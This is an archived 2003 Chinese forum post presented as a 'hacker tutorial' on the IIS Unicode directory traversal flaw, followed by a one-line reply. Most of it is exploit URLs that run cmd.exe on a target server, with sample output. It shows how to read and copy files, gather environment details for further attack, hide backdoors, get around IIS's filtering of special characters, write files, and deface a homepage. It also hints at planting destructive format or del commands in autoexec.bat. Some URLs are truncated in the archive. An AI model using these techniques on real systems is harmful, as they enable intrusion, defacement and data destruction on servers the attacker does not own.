中国网管论坛's Archiver

taylor2003 发表于 2003-8-21 11:16

黑客教程(十八)

关于扫描出的漏洞
简单说明:
很多扫描器都有漏洞扫描功能。当你获得了一些主机的漏洞列表时,不要急着把它们帖在论坛上,期望别人来为你分析和告诉你利用的方法。你应该首先尝试自己完成这些。扫描出的漏洞并不是都有用的,一部分漏洞过时了,一部分是误报。
漏洞搜索:
绿盟的引擎 [url]http://security.nsfocus.com/index.php?act=sec_bug[/url]
补天网的引擎 [url]http://www.patching.net/otherweb/leak/leakindex.asp[/url]
小凤居的引擎 [url]http://www.chinesehack.org/file/list.asp?type=2[/url]
首先我们说最常用的几个漏洞,可能每一个人都用了
一,Unicode漏洞
“Uicode漏洞”是微软IIS的一个重大漏洞。2001年最热门漏洞之一。关于它的文章、程序多不胜数。今天我们就来介绍它!
Unicode漏洞的原理:

IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。

对于IIS 5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的编码例如"%c1%hh"或者"%c0%hh",它会首先将其解码变成:0xc10xhh, 然后尝试打开这个文件,Windows 系统认为0xc10xhh可能是unicode编码,因此它会首先将其解码,如果 0x00<= %hh < 0x40的话,采用的 解码的格式与下面的格式类似:

%c1%hh -> (0xc1 - 0xc0) * 0x40 + 0xhh
%c0%hh -> (0xc0 - 0xc0) * 0x40 + 0xhh

因此,利用这种编码,我们可以构造很多字符,例如:

%c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ''

攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。

此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。

Win NT4 编码为:%c1%9c
Win2000 英文版 编码为:%c0%af
检测方法:

* 注意:以下编码为“%c0%af”( %c0%af:为 Win2000 英文版 编码)

比如说有一IP地址为x.x.x.x的windows 2000主机,我们可以在地址栏输入:

[url]http://x.x.x.x/scripts/..%c0%af../w.../cmd.exe?/c+dir[/url]

如果存在此漏洞的话,我们便可以看到以下的内容:(例子假设“C:\inetpub\scripts”目录里无文件)

Directory of C:\inetpub\scripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 ..

如果目标主机的管理员把该目录删除掉,我们就无法看到了,但是还有以下的目录是同样可以用来测试的。

[url]http://x.x.x.x/msadc/..%c0%af../..%.../cmd.exe?/c+dir[/url]
漏洞分析:

从上面的检测中,可以清楚地看到:

“[url]http://x.x.x.x/scripts/..%c0%af../w...2/cmd.exe?/c+”[/url] 之后就是DOS命令:dir

如果我们换成:[url]http://x.x.x.x/scripts/..%c0%af../w....exe?/c+dir+d:\[/url]

你就可以看到目标主机的 D:\ 的内容。(这里用到的命令是:dir)

如果我们换成:[url]http://x.x.x.x/scripts/..%c0%af../w...e+d:\cnhack.bat[/url]

那么,你就可以看到目标主机的 D:\cnhack.bat 文件 的内容。(这里用到的命令是:type)

如果我们换成:[url]http://x.x.x.x/scripts/..%c0%af../w...ir+md+d:\cnhack[/url]

运行后我们可以看到返回这样的结果:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:

英文意思是:
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:

但,你仍然可以在目标主机的 D:\ 里建立一个名为:cnhack 的文件夹。(这里用到的命令是:md)

 主要命令:

(一):复制文件且改名的命令

[url]http://x.x.x.x/scripts/..%c0%af../w...y+d:\cnhack.bat[/url] d:\cnhack\hacker.bat

返回信息:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
1 file(s) copied.

此时,你已经把 d:\cnhack.bat 复制到 d:\cnhack\hacker.bat (这里用到的命令是:copy)

* 注意:多数时候,你会得不到copy权限。除非你真的碰到了很笨的管理员。

(二):显示目标主机当前的环境变量的命令 /scripts/..%c0%af../w.../cmd.exe?/c+set

这个命令比较有用,你在里面可以得到主机的各项信息,对攻击很有帮助的哦!(这里用到的命令是:set)

(三):attrib修改属性命令

用这命令查文件属性和修改文件的属性。

[url]http://x.x.x.x/scripts/..%c0%af../w...wroot\index.htm[/url]

运行后,我们可以看到index.htm的文件属性,往往有时我们无法修改这文件,是因为这文件设为只读。(这里用到:attrib.exe)

[url]http://x.x.x.x/scripts/..%c0%af../w...wroot\index.htm[/url]

运行后,我们可以把index.htm文件设为只读、隐藏。如果我们把某个后门程序隐藏起来,并且管理没有设置所有文件可见。

那么是不是很方便上传的东西不被管理员发现呢?

* 注意:这里 %2b 等于 +

[url]http://x.x.x.x/scripts/..%c0%af../w...wroot\index.htm[/url]

运行后解除文件的属性。

同样,还有很多命令可以执行,大家可以试试,不过有些时间会很久,有些是不能执行的。

解释+号,在这里+等于空格键,当然你也可以用空格键,用空格键运行后会转换为%20 和%c0%af=/是同一道理的。

 简单地修改主页:

一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具“>” “>>”

先复习一下这些命令和管道工具的功能:

D:\>echo/?

显示信息,或将命令响应打开或关上。
ECHO [ON | OFF]
ECHO [message]
仅键入 ECHO 而不加参数,可以显示当前的 ECHO 设置。

管道工具“>” “>>” 的功能

“>”“>>”是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中。

“>>”产生的内容将追加进文件中,“>”则将原文件内容覆盖。


我们知道IIS加载程序检测到有cmd.exe或者command.com串就要检测特殊字符“&|(,;%<>”

如果发现有这些字符就会返回500错误,所以不能直接使用cmd.exe加管道符等。

如果我们输入:[url]http://x.x.x.x/scripts/..%c0%af../w...e?/c+echo+内容+[/url]> d:\cnhack.bat

我们可以看到提示
HTTP 500 - 内部服务器错误
Internet Explorer

中联绿盟的yuange(袁哥)发布了关于这字符的公告。

如果我们要得到echo与>的结合使用,可以这样操作:

[url]http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd[/url]".exe?/c+echo+内容+> d:\cnhack.bat

注意,与开始的命令的区别只在于cmd后面多了个"字符。

运行后我们可以看到返回这样的结果:

CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:

英文意思是:
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:

实际上,我们已经把“内容”写入到 d:\cnhack.bat 文件里了。

利用这样的方法我们可以建立.bat .txt .asp .htm .html 等文件,这对于一个存在这漏洞的网站可以说是致命打击的开始。

尤其是能写.bat文件,如果我们在autoexe.bat里面加入format del等命令时,你想结果会如何??

回到修改网站页面的问题来。

比如说想修改c:\inetpub\wwwroot\default.htm

我们就可以这样在地址栏输入:

[url]http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd[/url]".exe?/c+echo+黑客力量+> c:\inetpub\wwwroot\default.htm

那么再看他的首页时,已经被修改为:

旧坊 发表于 2008-5-13 09:54

要做为强人真当难难难难难~~~~~~~~~~~~~~

页: [1]

Powered by Discuz! Archiver 6.1.0  © 1999-2008 bbs.bitsCN.com